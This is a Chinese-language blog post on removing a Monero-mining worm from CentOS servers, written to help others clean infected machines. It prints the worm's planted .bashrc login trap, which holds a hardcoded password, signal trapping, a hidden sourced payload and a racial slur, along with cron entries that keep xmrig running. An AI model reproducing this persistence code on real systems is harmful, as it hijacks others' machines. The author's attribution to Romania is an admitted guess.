某Linux门罗币蠕虫的一种暂定解决方法

发布于 2021-06-15  2.48k 次阅读


1.中招现象

今天早上万事屋接到一个委托,说是某Linux(CentOS 7.x)服务器群集里大批量感染了某种蠕虫。当时服务器的CPU和内存占用很高,并且如果尝试用root账号登录,登录后会自动执行一个脚本,蹦出一句“Baga parola negrule:”要求输入个什么东西。随手敲击键盘并且回车,脚本甩下一句“Fake Nigga”,root账号就自动登出了。

看这现象,应该是中了什么蠕虫吧。

2.解决方法

众所周知,Omega只是个业余的IT爱好者,要从零开始解决这个蠕虫显然基本不可能(笑)。所以就找了个捷径,问问万能的bing。

一番搜索后,在CSDN上找到一个类似现象的帖子:https://ask.csdn.net/questions/7438687

看完帖子,大概明白了服务器可能是中了挖矿的蠕虫。

根据帖子里面的解释,该蠕虫篡改了root目录下的.bashrc配置文件,在其中添加了登录后的“Baga parola negrule:”验证脚本;同时蠕虫还在crontab里添加了挖矿脚本的计划任务,保持挖矿脚本一直运行。

root账号登录后的验证密码是明文写在脚本里面的,因此可以重启服务器进入救援模式读取/root/.bashrc文件获取那个密码。我当时碰了下运气,输入帖子截图中的pulamea321!,脚本就蹦出了“True Nigga”,成功进入shell。

接下来的操作就比较轻松了,首先查看root账户下的.bashrc配置文件。一般来说会看到类似下面展示的内容:

-bash-4.2# more ~/.bashrc
# .bashrc
alias cp='cp -i'
alias rm='rm -i'
alias mv='mv -i'
parola="pulamea321!"
echo Uname: $(uname -a)
clear
trap '' 2
trap '' 20
printf "Baga parola negrule:"
read -s pass
if [ $pass == "$parola" ]
then
echo "True Nigga"
else
:
echo "Fake Nigga"
exit;
fi
wait
trap 2
trap 20
source /usr/.SQL-Unix/.SQL/.db

其中“parola”的值就是脚本的验证密码。

总之拿个正常的.bashrc配置文件将这个被篡改过的重置一下即可:cp /etc/skel/.bashrc ~/

重置完了可以敲下bash并回车刷新一下shell。

接着查看root账户下的crontab,发现被加了以下内容:

-bash-4.2# crontab -l
@daily /var/tmp/./b4nd1d0
@reboot /var/tmp/./xmrig > /dev/null 2>&1 & disown
* * * * * /var/tmp/./xmrig > /dev/null 2>&1 & disown
@monthly /var/tmp/./xmrig  > /dev/null 2>&1 & disown

敲一句crontab -r清空root账号下的crontab,清空完后可以使用systemctl restart crond重启crond服务。

最后重启服务器,把.bashrc配置文件中提及的xmrig挖矿脚本给删掉:rm -f /var/tmp/xmrig

除了这个挖矿脚本,系统里面应该还残留着其他和蠕虫相关的东西,可以找出来一并删除。

至此,服务器里的挖矿蠕虫应该已经暂定清除了。

3.个人吐槽

问题解决完后,还是有点好奇这个蠕虫的来历。根据那句baga什么的,至少可以说明它大概率不是英语国家写的。那会是哪国人的作品呢?

参考.bashrc配置文件,可以得出“parola”就相当于“password”。于是在bing里面搜"parola translate as password",搜到的第一个结果说这个“parola”是罗马尼亚语,用罗马尼亚文来写应该是“parolă”。

拿翻译机把那句话翻译了一下,译文充斥着一股机翻味:“Enter the password black ”。润色一下后翻译成中文:在安静模式(-s)下输入密码。

总之基本可以判断出这蠕虫应该来自那个著名的罗马尼亚,大概。

挖矿脚本“xmrig”当时没看就删掉了,但是根据这个名字,大概可以猜出脚本挖的是门罗币,毕竟这个币似乎很受黑客喜爱(?)

处理完这个委托后,我不禁担心这个挂了电波万事屋的VPS会不会也中招。然而这VPS配置并不高,各位黑客大佬们应该看不上吧……(笑)